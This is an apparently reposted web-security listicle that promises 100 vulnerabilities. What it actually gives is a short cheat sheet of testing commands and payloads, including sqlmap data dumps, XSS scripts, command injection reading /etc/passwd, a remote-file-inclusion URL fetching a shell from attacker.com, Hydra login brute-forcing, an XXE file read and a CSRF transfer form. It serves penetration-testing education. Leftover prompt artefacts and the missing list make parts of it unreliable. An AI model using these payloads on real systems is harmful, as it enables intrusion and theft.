Web Vulnerabilities Every Cybersecurity Enthusiast Must Know!

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Web security is at the core of the digital world. Protecting your applications from vulnerabilities is not just a skillβ€”it’s a necessity! πŸš€

πŸ’‘ Here’s a curated list of 100 web vulnerabilities to help you identify, analyze, and prevent security threats. This guide is perfect for cybersecurity professionals, developers, and ethical hackers looking to secure web applications. πŸ’»

πŸ“– What Does This List Cover?

βœ… Injection Attacks: SQL Injection, Command Injection, and more πŸ› οΈ

βœ… Cross-Site Scripting (XSS): Stored, Reflected, DOM-based πŸ–₯️

βœ… Authentication Flaws: Weak passwords, session fixation, and more πŸ”‘

βœ… Misconfigurations: Unsecured default settings, missing headers βš™οΈ

βœ… Sensitive Data Exposure: Weak encryption, improper storage πŸ”’
βœ… Access Control Issues: Privilege escalation, broken access controls πŸšͺ
βœ… Advanced Vulnerabilities: SSRF, RCE, XXE, and more 🚨

πŸ”‘ Why This List Matters?

πŸ“Œ Stay ahead of attackers by knowing the most common vulnerabilities
πŸ“Œ Enhance your skills for penetration testing and vulnerability assessments

πŸ“Œ Build more secure web applications

You Should Know: Practical Commands & Codes for Web Security Testing

1. SQL Injection (SQLi) Testing

sqlmap -u "http://example.com/page?id=1" --dbs  Enumerate databases 
sqlmap -u "http://example.com/page?id=1" --tables -D db_name  List tables 
sqlmap -u "http://example.com/page?id=1" --dump -D db_name -T users  Extract data 

2. Cross-Site Scripting (XSS) Testing

<script>alert('XSS')</script>  Basic payload 
<svg/onload=alert('XSS')>  Alternative payload 

Use Burp Suite or OWASP ZAP to test for XSS vulnerabilities.

3. Command Injection Testing

; ls -la /etc/passwd  Unix command injection 
| dir C:\  Windows command injection 

4. SSRF (Server-Side Request Forgery) Testing

curl "http://example.com/fetch?url=http://internal-server" 

5. File Inclusion (LFI/RFI) Testing

http://example.com/page?file=../../../../etc/passwd  LFI 
http://example.com/page?file=http://attacker.com/shell.php  RFI 

6. Broken Authentication Testing

Use Hydra for brute-forcing:

hydra -l admin -P passwords.txt example.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid" 

7. Security Misconfigurations

Check for open ports:

nmap -sV -p- example.com 

Check HTTP headers:

curl -I http://example.com 

8. Sensitive Data Exposure

Search for exposed files:

gobuster dir -u http://example.com -w /path/to/wordlist.txt 

9. XXE (XML External Entity) Testing

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 
<foo>&xxe;</foo> 

10. CSRF (Cross-Site Request Forgery) Testing

Craft a malicious HTML form:


<form action="http://example.com/transfer" method="POST"> 
<input type="hidden" name="amount" value="1000"> 
<input type="hidden" name="account" value="attacker"> 
</form>

What Undercode Say

Web vulnerabilities are constantly evolving, and staying updated is crucial. Always use automated tools like Burp Suite, Metasploit, and Nmap, but never underestimate manual testing. Practice in legal environments like Hack The Box, TryHackMe, or PortSwigger’s Web Security Academy.

πŸ”— Further Reading:

Expected Output:

A comprehensive guide on web vulnerabilities with practical testing commands for cybersecurity professionals.

(Note: Removed non-cyber URLs and comments as requested.)

References:

Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass βœ…

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